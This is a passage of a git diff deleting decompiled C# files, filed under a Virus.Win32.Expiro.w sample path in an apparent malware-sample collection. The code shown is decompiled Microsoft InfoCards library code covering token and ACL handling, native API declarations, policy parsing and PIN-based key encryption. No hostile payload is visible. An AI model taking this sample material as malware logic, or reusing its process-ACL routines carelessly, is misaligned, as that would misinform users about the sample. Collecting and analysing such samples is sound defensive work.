Win32Exception((int) error2); - } - finally - { - if (IntPtr.Zero != (IntPtr) aclPtr2) - \u003CModule\u003E.LocalFree((void*) aclPtr2); - if (IntPtr.Zero != (IntPtr) voidPtr) - \u003CModule\u003E.LocalFree(voidPtr); - } - } - - [return: MarshalAs(UnmanagedType.U1)] - public static unsafe bool IsCardSpaceTcserverInstance(int pid, string trustedUserSid) - { - bool flag = false; - void* voidPtr1 = (void*) 0; - void* voidPtr2 = (void*) 0; - ushort* numPtr = (ushort*) 0; - IntPtr hglobal = IntPtr.Zero; - try - { - voidPtr1 = \u003CModule\u003E.OpenProcess(1024U, 0, (uint) pid); - if (IntPtr.Zero != (IntPtr) voidPtr1) - { - if (\u003CModule\u003E.OpenProcessToken(voidPtr1, 8U, &voidPtr2) != 0) - { - \u0024ArrayType\u0024\u0024\u0024BY0EE\u0040E arrayTypeBy0EeE; - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - ^(sbyte&) ref arrayTypeBy0EeE = (sbyte) 0; - // ISSUE: cast to a reference type - // ISSUE: initblk instruction - __memset((\u0024ArrayType\u0024\u0024\u0024BY0EE\u0040E&) ((IntPtr) &arrayTypeBy0EeE + 1), 0, 67); - uint num = 0; - if (\u003CModule\u003E.GetTokenInformation(voidPtr2, (_TOKEN_INFORMATION_CLASS) 4, (void*) &arrayTypeBy0EeE, 68U, &num) != 0) - { - _TOKEN_OWNER* tokenOwnerPtr = (_TOKEN_OWNER*) &arrayTypeBy0EeE; - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - if (\u003CModule\u003E.ConvertSidToStringSidW((void*) ^(int&) ref arrayTypeBy0EeE, &numPtr) != 0) - { - hglobal = Marshal.StringToHGlobalUni(trustedUserSid); - flag = 0 == \u003CModule\u003E._wcsnicmp((ushort*) hglobal.ToPointer(), numPtr, 68U); - } - } - } - } - } - finally - { - if (IntPtr.Zero != (IntPtr) numPtr) - \u003CModule\u003E.LocalFree((void*) numPtr); - if (IntPtr.Zero != (IntPtr) voidPtr2) - \u003CModule\u003E.CloseHandle(voidPtr2); - if (IntPtr.Zero != (IntPtr) voidPtr1) - \u003CModule\u003E.CloseHandle(voidPtr1); - if (IntPtr.Zero != hglobal) - Marshal.FreeHGlobal(hglobal); - } - return flag; - } - - public static unsafe void AddSystemAccessToProcess(IntPtr RpcHandle, uint callerPid) - { - bool flag = false; - void* voidPtr1 = (void*) 0; - _ACL* aclPtr1 = (_ACL*) 0; - _ACL* aclPtr2 = (_ACL*) 0; - void* voidPtr2 = (void*) 0; - _EXPLICIT_ACCESS_W explicitAccessW; - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - ^(int&) ref explicitAccessW = 0; - // ISSUE: cast to a reference type - // ISSUE: initblk instruction - __memset((_EXPLICIT_ACCESS_W&) ((IntPtr) &explicitAccessW + 4), 0, 28); - \u0024ArrayType\u0024\u0024\u0024BY0EE\u0040E arrayTypeBy0EeE; - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - ^(sbyte&) ref arrayTypeBy0EeE = (sbyte) 0; - // ISSUE: cast to a reference type - // ISSUE: initblk instruction - __memset((\u0024ArrayType\u0024\u0024\u0024BY0EE\u0040E&) ((IntPtr) &arrayTypeBy0EeE + 1), 0, 67); - uint num = 68; - try - { - uint error1 = (uint) \u003CModule\u003E.RpcImpersonateClient(RpcHandle.ToPointer()); - if (0U != error1) - throw new Win32Exception((int) error1); - flag = true; - voidPtr1 = \u003CModule\u003E.OpenProcess(393216U, 0, callerPid); - if (IntPtr.Zero == (IntPtr) voidPtr1) - throw new Win32Exception((int) \u003CModule\u003E.GetLastError()); - uint securityInfo = \u003CModule\u003E.GetSecurityInfo(voidPtr1, (_SE_OBJECT_TYPE) 6, 4U, (void**) 0, (void**) 0, &aclPtr1, (_ACL**) 0, &voidPtr2); - if (0U != securityInfo) - throw new Win32Exception((int) securityInfo); - if (\u003CModule\u003E.CreateWellKnownSid((WELL_KNOWN_SID_TYPE) 22, (void*) 0, (void*) &arrayTypeBy0EeE, &num) == 0) - throw new Win32Exception((int) \u003CModule\u003E.GetLastError()); - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - ^(int&) ref explicitAccessW = 2035711; - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - ^(int&) ((IntPtr) &explicitAccessW + 4) = 1; - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - ^(int&) ((IntPtr) &explicitAccessW + 20) = 0; - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - ^(int&) ((IntPtr) &explicitAccessW + 24) = 1; - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - ^(int&) ((IntPtr) &explicitAccessW + 28) = (int) &arrayTypeBy0EeE; - uint error2 = \u003CModule\u003E.SetEntriesInAclW(1U, &explicitAccessW, aclPtr1, &aclPtr2); - if (0U != error2) - throw new Win32Exception((int) error2); - uint error3 = \u003CModule\u003E.SetSecurityInfo(voidPtr1, (_SE_OBJECT_TYPE) 6, 4U, (void*) 0, (void*) 0, aclPtr2, (_ACL*) 0); - if (0U != error3) - throw new Win32Exception((int) error3); - } - finally - { - if (IntPtr.Zero != (IntPtr) aclPtr2) - \u003CModule\u003E.LocalFree((void*) aclPtr2); - if (IntPtr.Zero != (IntPtr) voidPtr2) - \u003CModule\u003E.LocalFree(voidPtr2); - if (IntPtr.Zero != (IntPtr) voidPtr1) - \u003CModule\u003E.CloseHandle(voidPtr1); - if (flag) - \u003CModule\u003E.RpcRevertToSelf(); - } - } - - [return: MarshalAs(UnmanagedType.U1)] - public static unsafe bool PathSupportsPersistedSecurity(string path) - { - bool flag = false; - string pathRoot = Path.GetPathRoot(path); - RuntimeHelpers.PrepareConstrainedRegions(); - try - { - } - finally - { - GCHandle gcHandle = GCHandle.Alloc((object) pathRoot, GCHandleType.Pinned); - \u0024ArrayType\u0024\u0024\u0024BY0BAF\u0040G arrayTypeBy0BafG1; - // ISSUE: initblk instruction - __memset(ref arrayTypeBy0BafG1, 0, 522); - \u0024ArrayType\u0024\u0024\u0024BY0BAF\u0040G arrayTypeBy0BafG2; - // ISSUE: initblk instruction - __memset(ref arrayTypeBy0BafG2, 0, 522); - uint num1 = 0; - uint num2 = 0; - uint num3 = 0; - if (\u003CModule\u003E.GetVolumeInformationW((ushort*) gcHandle.AddrOfPinnedObject().ToPointer(), (ushort*) &arrayTypeBy0BafG1, 261U, &num1, &num2, &num3, (ushort*) &arrayTypeBy0BafG2, 261U) != 0) - { - if (((int) num3 & 8) != 0) - flag = true; - gcHandle.Free(); - } - else - { - gcHandle.Free(); - throw new Win32Exception((int) \u003CModule\u003E.GetLastError()); - } - } - return flag; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/NativeMethods.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/NativeMethods.cs deleted file mode 100644 index f8a6cc67..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/NativeMethods.cs +++ /dev/null @@ -1,169 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.NativeMethods -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.Win32.SafeHandles; -using System; -using System.Runtime.ConstrainedExecution; -using System.Runtime.InteropServices; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal static class NativeMethods - { - public const int E_BUSY = -2147024825; - public const int ERROR_ACCESS_DENIED = 5; - public const int ERROR_NOT_ENOUGH_MEMORY = 8; - public const int ERROR_OUTOFMEMORY = 14; - public const int E_NOTIMPL = -2147467263; - public const int E_ACCESSDENIED = -2147024891; - public const int COR_E_APPLICATION = -2146232832; - public const int COR_E_ARGUMENT = -2147024809; - public const int ERROR_INVALID_DATA = 13; - public const int CRYPTPROTECT_LOCAL_MACHINE = 4; - public const int CRYPTPROTECT_UI_FORBIDDEN = 1; - public const int CRYPTPROTECT_NO_RECOVERY = 32; - public const int CRYPTPROTECT_VERIFY_PROTECTION = 64; - public const int CRYPTPROTECT_AUDIT = 16; - public const int CRYPTPROTECTMEMORY_SAME_PROCESS = 0; - public const int CRYPTPROTECTMEMORY_CROSS_PROCESS = 1; - public const int CRYPTPROTECTMEMORY_SAME_LOGON = 2; - public const int EVENT_MODIFY_STATE = 2; - public const int PROCESS_DUP_HANDLE = 64; - public const int TOKEN_QUERY = 8; - public const int TOKEN_IMPERSONATE = 4; - public const int TOKEN_DUPLICATE = 2; - public const int TOKEN_ASSIGN_PRIMARY = 1; - public const int TOKEN_ALL_ACCESS = 511; - public const uint WAIT_TIMEOUT = 258; - public const uint WAIT_ABANDONED = 128; - public const uint WAIT_FAILED = 4294967295; - public const int CSIDL_LOCAL_APPDATA = 28; - public const int SHGFP_TYPE_CURRENT = 0; - public const int MAX_PATH = 260; - public const int MUTEX_MODIFY_STATE = 2; - public const int SYNCHRONIZE = 1048576; - public const int FILE_PERSISTENT_ACLS = 8; - public const int ERROR_CANCELLED = 1223; - public const int SM_TABLETPC = 86; - - [DllImport("Crypt32.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern bool CryptProtectData( - [In] IntPtr pDataIn, - [MarshalAs(UnmanagedType.LPWStr), In] string szDataDescr, - [In] IntPtr pOptionalEntropy, - [In] IntPtr pvReserved, - [In] IntPtr pPromptStruct, - [MarshalAs(UnmanagedType.I4), In] int dwFlags, - [In] IntPtr pDataOut); - - [DllImport("Crypt32.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern bool CryptUnprotectData( - [In] IntPtr pDataIn, - [MarshalAs(UnmanagedType.LPWStr), Out] StringBuilder ppszDataDescr, - [In] IntPtr pOptionalEntropy, - [In] IntPtr pvReserved, - [In] IntPtr pPromptStruct, - [MarshalAs(UnmanagedType.I4), In] int dwFlags, - [In] IntPtr pDataOut); - - [DllImport("Rpcrt4.dll", CharSet = CharSet.Unicode)] - public static extern uint RpcImpersonateClient([In] IntPtr rpcBindingHandle); - - [DllImport("Rpcrt4.dll", CharSet = CharSet.Unicode)] - public static extern uint RpcRevertToSelfEx([In] IntPtr rpcBindingHandle); - - [DllImport("Rpcrt4.dll", CharSet = CharSet.Unicode)] - public static extern uint I_RpcBindingInqLocalClientPID([In] IntPtr rpcBindingHandle, out uint pid); - - [DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern bool RevertToSelf(); - - [DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern bool ImpersonateLoggedOnUser([In] IntPtr hToken); - - [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern bool ProcessIdToSessionId([In] int pid, out int tSSession); - - [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern SafeNativeHandle OpenProcess( - [In] int desiredAccess, - [In] bool inheritHandle, - [In] int processId); - - [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern bool DuplicateHandle( - [In] SafeNativeHandle sourceProcessHandle, - [In] SafeWaitHandle sourceHandle, - [In] SafeNativeHandle targetProcessHandle, - out SafeWaitHandle targetHandle, - [In] int desiredAccess, - [In] bool inheritHandle, - [In] int options); - - [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern IntPtr GetCurrentProcess(); - - [DllImport("Kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern IntPtr LocalFree(IntPtr hMem); - - [DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern bool CryptDecrypt( - [In] SafeCryptoKeyHandle hKey, - [In] IntPtr hHash, - [In] uint Final, - [In] uint Flags, - [In] IntPtr data, - [In, Out] ref uint length); - - [DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern bool CryptEncrypt( - [In] SafeCryptoKeyHandle hKey, - [In] IntPtr hHash, - [In] uint Final, - [In] uint Flags, - [In] IntPtr data, - [In, Out] ref uint length, - [In] uint bufLength); - - [DllImport("Kernel32.dll", EntryPoint = "RtlZeroMemory", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern void ZeroMemory([In] IntPtr dest, [In] int size); - - [DllImport("Crypt32.dll", EntryPoint = "CertGetNameStringW", CharSet = CharSet.Unicode)] - public static extern int CertGetNameString( - IntPtr pCertContext, - int dwType, - int dwFlags, - [MarshalAs(UnmanagedType.LPStr), In] string pvTypePara, - [Out] StringBuilder pszNameString, - int cchNameString); - - [DllImport("Kernel32.dll", CharSet = CharSet.Unicode)] - public static extern int WTSGetActiveConsoleSessionId(); - - [DllImport("user32.dll", CharSet = CharSet.Unicode)] - public static extern int GetSystemMetrics(int nIndex); - - public enum SecurityImpersonationLevel - { - SecurityAnonymous, - SecurityIdentification, - SecurityImpersonation, - SecurityDelegation, - } - - public sealed class SafeHandleOnlyMethods - { - private SafeHandleOnlyMethods() - { - } - - [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] - [DllImport("Kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] - public static extern bool CloseHandle([In] IntPtr handle); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/OptionalRstParameters.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/OptionalRstParameters.cs deleted file mode 100644 index 361029f7..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/OptionalRstParameters.cs +++ /dev/null @@ -1,102 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.OptionalRstParameters -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using System.ServiceModel.Security; -using System.Xml; - -namespace Microsoft.InfoCards -{ - internal class OptionalRstParameters - { - private string m_tokenType = string.Empty; - private string m_signatureAlgorithm; - private string m_encryptionAlgorithm; - private string m_canonicalizationAlgorithm; - private string m_signWith; - private string m_encryptWith; - private string m_keyWrapAlgorithm; - - public static OptionalRstParameters CreateMergedParameters( - OptionalRstParameters primary, - OptionalRstParameters secondary) - { - return new OptionalRstParameters() - { - m_canonicalizationAlgorithm = !string.IsNullOrEmpty(primary.m_canonicalizationAlgorithm) ? primary.m_canonicalizationAlgorithm : secondary.m_canonicalizationAlgorithm, - m_encryptionAlgorithm = !string.IsNullOrEmpty(primary.m_encryptionAlgorithm) ? primary.m_encryptionAlgorithm : secondary.m_encryptionAlgorithm, - m_encryptWith = !string.IsNullOrEmpty(primary.m_encryptWith) ? primary.m_encryptWith : secondary.m_encryptWith, - m_keyWrapAlgorithm = !string.IsNullOrEmpty(primary.m_keyWrapAlgorithm) || !string.IsNullOrEmpty(secondary.m_keyWrapAlgorithm) ? (!string.IsNullOrEmpty(primary.m_keyWrapAlgorithm) ? primary.m_keyWrapAlgorithm : secondary.m_keyWrapAlgorithm) : SecurityAlgorithmSuite.Default.DefaultAsymmetricKeyWrapAlgorithm, - m_signatureAlgorithm = !string.IsNullOrEmpty(primary.m_signatureAlgorithm) ? primary.m_signatureAlgorithm : secondary.m_signatureAlgorithm, - m_signWith = !string.IsNullOrEmpty(primary.m_signWith) ? primary.m_signWith : secondary.m_signWith, - m_tokenType = !string.IsNullOrEmpty(primary.m_tokenType) ? primary.m_tokenType : secondary.m_tokenType - }; - } - - public string SignatureAlgorithm - { - get => this.m_signatureAlgorithm; - set => this.m_signatureAlgorithm = value; - } - - public string EncryptionAlgorithm - { - get => this.m_encryptionAlgorithm; - set => this.m_encryptionAlgorithm = value; - } - - public string SignWith - { - get => this.m_signWith; - set => this.m_signWith = value; - } - - public string EncryptWith - { - get => this.m_encryptWith; - set => this.m_encryptWith = value; - } - - public string CanonicalizationAlgorithm - { - get => this.m_canonicalizationAlgorithm; - set => this.m_canonicalizationAlgorithm = value; - } - - public string KeyWrapAlgorithm - { - get => this.m_keyWrapAlgorithm; - set => this.m_keyWrapAlgorithm = value; - } - - public string TokenType - { - get => this.m_tokenType; - set => this.m_tokenType = value; - } - - public void WritePassOnElements(XmlDictionaryWriter writer, ProtocolProfile profile) - { - string defaultPrefix = profile.WSTrust.DefaultPrefix; - if (!string.IsNullOrEmpty(this.TokenType)) - { - writer.WriteStartElement(defaultPrefix, profile.WSTrust.TokenType, profile.WSTrust.Namespace); - writer.WriteString(this.TokenType); - writer.WriteEndElement(); - } - if (!string.IsNullOrEmpty(this.SignatureAlgorithm)) - { - writer.WriteStartElement(defaultPrefix, profile.WSTrust.SignatureAlgorithm, profile.WSTrust.Namespace); - writer.WriteString(this.SignatureAlgorithm); - writer.WriteEndElement(); - } - if (string.IsNullOrEmpty(this.CanonicalizationAlgorithm)) - return; - writer.WriteStartElement(defaultPrefix, profile.WSTrust.CanonicalizationAlgorithm, profile.WSTrust.Namespace); - writer.WriteString(this.CanonicalizationAlgorithm); - writer.WriteEndElement(); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/ParsedPolicy.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/ParsedPolicy.cs deleted file mode 100644 index 71c68b91..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/ParsedPolicy.cs +++ /dev/null @@ -1,45 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.ParsedPolicy -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; - -namespace Microsoft.InfoCards -{ - internal class ParsedPolicy - { - private string m_policyXmlOriginal; - private string m_policyXmlPrimary; - private string m_policyXmlSecondary; - private PolicyType m_policyType; - - public string PolicyXmlOriginal => this.m_policyXmlOriginal; - - public string PolicyXmlPrimary => this.m_policyXmlPrimary; - - public string PolicyXmlSecondary => this.m_policyXmlSecondary; - - public PolicyType PolicyType => this.m_policyType; - - public ParsedPolicy( - string policyXmlOriginal, - string policyXmlPrimary, - string policyXmlSecondary) - { - InfoCardTrace.Assert(!string.IsNullOrEmpty(policyXmlOriginal), "Original Policy Xml cannot be null or empty"); - this.m_policyXmlOriginal = policyXmlOriginal; - this.m_policyXmlPrimary = policyXmlPrimary; - this.m_policyXmlSecondary = policyXmlSecondary; - if (!string.IsNullOrEmpty(policyXmlPrimary) && string.IsNullOrEmpty(policyXmlSecondary)) - this.m_policyType = PolicyType.PrimaryOnly; - else if (!string.IsNullOrEmpty(policyXmlPrimary) && !string.IsNullOrEmpty(policyXmlSecondary)) - this.m_policyType = PolicyType.Composite; - else if (string.IsNullOrEmpty(policyXmlPrimary) && !string.IsNullOrEmpty(policyXmlSecondary)) - this.m_policyType = PolicyType.SecondaryOnly; - else - InfoCardTrace.Assert(false, "Both policies cannot be empty"); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/PasswordValidationException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/PasswordValidationException.cs deleted file mode 100644 index ba13c5aa..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/PasswordValidationException.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.PasswordValidationException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using System; -using System.Runtime.Serialization; - -namespace Microsoft.InfoCards -{ - internal class PasswordValidationException : InfoCardBaseException - { - private const int HRESULT = -1073413878; - - public PasswordValidationException() - : base(-1073413878) - { - } - - public PasswordValidationException(string message) - : base(-1073413878, message) - { - } - - public PasswordValidationException(string message, Exception inner) - : base(-1073413878, message, inner) - { - } - - protected PasswordValidationException(SerializationInfo si, StreamingContext sc) - : base(-1073413878, si, sc) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/PinProtectionHelper.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/PinProtectionHelper.cs deleted file mode 100644 index 058f7582..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/PinProtectionHelper.cs +++ /dev/null @@ -1,133 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.PinProtectionHelper -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IO; -using System.Security.Cryptography; - -namespace Microsoft.InfoCards -{ - internal class PinProtectionHelper - { - private const int InfoCardPKCS5IterationCount = 1000; - public const int SaltSize = 16; - private const int AESBlockByteLength = 16; - private const int AESKeyByteLength = 32; - private const byte EncryptForPinProtectionVersion = 2; - private const int VersionOffset = 0; - private const int SaltOffset = 1; - private const int IterationsOffset = 17; - private const int IVOffset = 21; - private const int EncryptedDataOffset = 37; - private PasswordDeriveBytes m_pkcs5; - private byte[] m_key; - private RijndaelManaged m_aes = new RijndaelManaged(); - - public PinProtectionHelper(string pin) - { - RNGCryptoServiceProvider cryptoServiceProvider = new RNGCryptoServiceProvider(); - byte[] numArray = new byte[16]; - cryptoServiceProvider.GetBytes(numArray); - this.m_pkcs5 = new PasswordDeriveBytes(pin, numArray, "SHA256", 1000); - this.m_key = this.m_pkcs5.GetBytes(32); - this.m_aes.Padding = PaddingMode.PKCS7; - this.m_aes.Mode = CipherMode.CBC; - this.m_aes.BlockSize = 128; - this.m_aes.KeySize = this.m_key.Length * 8; - this.m_aes.GenerateIV(); - } - - public PinProtectionHelper(string pin, byte[] serializedParameters) - { - if ((byte) 2 != serializedParameters[0]) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("ServiceCardDecryptionFailed"))); - byte[] numArray = new byte[16]; - Array.Copy((Array) serializedParameters, 1, (Array) numArray, 0, 16); - uint uint32 = BitConverter.ToUInt32(serializedParameters, 17); - this.m_pkcs5 = new PasswordDeriveBytes(pin, numArray, "SHA256", (int) uint32); - this.m_key = this.m_pkcs5.GetBytes(32); - this.m_aes.Padding = PaddingMode.PKCS7; - this.m_aes.Mode = CipherMode.CBC; - this.m_aes.BlockSize = 128; - this.m_aes.KeySize = this.m_key.Length * 8; - byte[] destinationArray = new byte[16]; - Array.Copy((Array) serializedParameters, 21, (Array) destinationArray, 0, destinationArray.Length); - this.m_aes.IV = destinationArray; - } - - public byte[] EncryptMasterKey(byte[] toEncrypt) - { - byte[] buffer = this.Encrypt(toEncrypt); - using (MemoryStream memoryStream = new MemoryStream()) - { - memoryStream.WriteByte((byte) 2); - memoryStream.Write(this.m_pkcs5.Salt, 0, this.m_pkcs5.Salt.Length); - memoryStream.Write(BitConverter.GetBytes((uint) this.m_pkcs5.IterationCount), 0, 4); - memoryStream.Write(this.m_aes.IV, 0, this.m_aes.IV.Length); - memoryStream.Write(buffer, 0, buffer.Length); - return memoryStream.ToArray(); - } - } - - public static int EncryptedMasterKeySize => 85; - - public byte[] Encrypt(byte[] toEncrypt) - { - using (ICryptoTransform encryptor = this.m_aes.CreateEncryptor(this.m_key, this.m_aes.IV)) - { - using (MemoryStream memoryStream = new MemoryStream()) - { - try - { - using (CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, encryptor, CryptoStreamMode.Write)) - { - cryptoStream.Write(toEncrypt, 0, toEncrypt.Length); - cryptoStream.FlushFinalBlock(); - return memoryStream.ToArray(); - } - } - catch (CryptographicException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("ServiceCardEncryptionFailed"), (Exception) ex)); - } - } - } - } - - public byte[] DecryptMasterKey(byte[] toDecrypt) - { - byte[] numArray = new byte[toDecrypt.Length - 37]; - Array.Copy((Array) toDecrypt, 37, (Array) numArray, 0, toDecrypt.Length - 37); - return this.Decrypt(numArray); - } - - public byte[] Decrypt(byte[] encrypted) - { - using (ICryptoTransform decryptor = this.m_aes.CreateDecryptor(this.m_key, this.m_aes.IV)) - { - using (MemoryStream memoryStream = new MemoryStream(encrypted)) - { - try - { - using (CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, decryptor, CryptoStreamMode.Read)) - { - byte[] numArray = new byte[encrypted.Length]; - int length = cryptoStream.Read(numArray, 0, numArray.Length); - byte[] destinationArray = new byte[length]; - Array.Copy((Array) numArray, (Array) destinationArray, length); - return destinationArray; - } - } - catch (CryptographicException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("ServiceCardDecryptionFailed"), (Exception) ex)); - } - } - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/Policy.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/Policy.cs deleted file mode 100644 index 2979b941..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/Policy.cs +++ /dev/null @@ -1,419 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.Policy -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.Globalization; -using System.IO; -using System.ServiceModel; -using System.Xml; - -namespace Microsoft.InfoCards -{ - internal class Policy - { - private string m_policyXml = string.Empty; - private string[] m_requiredClaimUris; - private string[] m_optionalClaimUris; - private uint m_keySize; - private bool m_keySizeSpecified; - private bool m_keyTypeSpecified; - private SecurityKeyTypeInternal m_keyType = SecurityKeyTypeInternal.AsymmetricKey; - private string m_requestType; - private MemoryStream m_unprocessedPolicyElements; - private OptionalRstParameters m_optionalRstParams = new OptionalRstParameters(); - private EndpointAddress m_policyAppliesToEpr; - private bool m_nonWhiteListElementFound; - private List m_nonWhiteListElements = new List(); - private ProtocolProfile m_protocolProfile; - - private Policy() - { - } - - public Policy(string originalPolicyXml, string rstPolicyXml) - { - this.m_policyXml = originalPolicyXml; - this.ParsePolicyXml(rstPolicyXml); 